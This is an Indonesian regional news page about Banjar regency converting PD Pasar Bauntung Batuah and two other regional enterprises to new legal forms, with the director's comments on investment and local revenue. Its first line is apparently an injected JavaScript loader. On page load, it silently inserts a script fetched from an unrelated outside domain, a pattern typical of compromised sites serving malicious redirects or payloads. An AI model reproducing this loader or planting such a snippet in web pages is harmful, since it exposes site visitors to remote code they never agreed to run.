(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Status PD Pasar Bauntung Batuah masih dibahas perubahan status hukum oleh Pemkab Banjar. Pembahasan perubahan status badan hukum tiga perusahaan milik daerah (Perusda) diusulkan menjadi Perusahaan Umum Daerah (Perumda) dan Perseroan Terbatas (PT).
Tiga badan usaha milik daerah (BUMD) Pemkab Banjar yang diubah status badan hukumnya yakni, PDAM Intan Banjar dan PD Baramarta menjadi PT, serta salah satunya PD Pasar Bauntung Batuah (PBB) menjadi Perumda.
Saat ditemui, Direktur Utama PD Pasar Bauntung Batuah Rusdiansyah mengatakan, perubahan status badan hukum Perusda ini merupakan kewajiban berdasarkan UU nomor 23 tahun 2014 tentang pemerintah daerah dan Peraturan Pemerintah nomor 54 tahun 2017 tentang BUMD.
Menurut Rusdiansyah di dalam PP 54 tahun 2017, ada dua pilihan yakni menjadi Perseroan Terbatas atau Perusahaan Umum Daerah. Berdasarkan kajian naskah akedemik PD Pasar yang dibantu tenaga akedemisi dari ULM, maka tetap diarahkan perubahan status badan hukumnya menjadi Perumda.
Dengan diubahnya status badan hukum PD PBB menjadi Perumda kata Rusdiansyah, berdasarkan PP 54 tahun 2017 tersebut, pihaknya akan mendapatkan sedikit keleluasaan dalam mengembangkan PD PBB berdasarkan Perda yang nanti ditetapkan, terutama dari sisi investor atau penanaman modal.
“Investor dapat menanamkan modalnya tidak hanya dari investor dalam negeri, namun bisa saja investor dari luar bisa menanamkan modal. Tentunya ini akan berdampak pada meningkatnya pendapatan asli daerah (PAD), meskipun tidak ditentukan besaran PAD yang harus disetorkan terhadap daerah, namun besaran PAD terhadap daerah dapat diatur kembali,†ucapnya.
Berdasarkan peraturan pemerintah saat ini, hasil yang diterima daerah sebanyak 55 persen, dan 45 persen untuk perusahaan. Dengan perubahan tersebut pihaknya menyakini kedepannya PAD yang diterima Pemda Banjar akan lebih besar. Namun perubahan status badan hukum PD PBB tersebut tidak menuntut PD PBB untuk mengubah visi dan misi pihaknya.
“Hingga saat ini Pemkab Banjar telah memberikan investasinya baik berupa aset bangunan, lahan yang sudah disertakan dalam pernyataan modal sebagai aset PD PBB, dan berupa aset lunak pada awalnya yang diterima sebesar 5 miliar, dan sejak tahun 2010 yang lalu kontribusi kepada pemerintah daerah pun juga melebihi 5 miliar,†jelasnya.
PD PBB pada 2014, 2015, dan 2016 lalu, tidak dapat berkontribusi kepada Pemkab Banjar karena berdasarkan hasil audit mengalami kerugian. Ia pun bersyukur pada masa transisi kepimpinannya di tahun 2017 hingga 2019 PD PBB dapat kembali berkontribusi kepada Pemda Banjar untuk menyetorkan PAD hingga 5 miliar. (rendy)ÂÂ
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More
KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Remaja laki-laki yang tenggelam di Sungai Martapura, Kota Banjarmasin ditemukan dalam keadaan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More
This website uses cookies.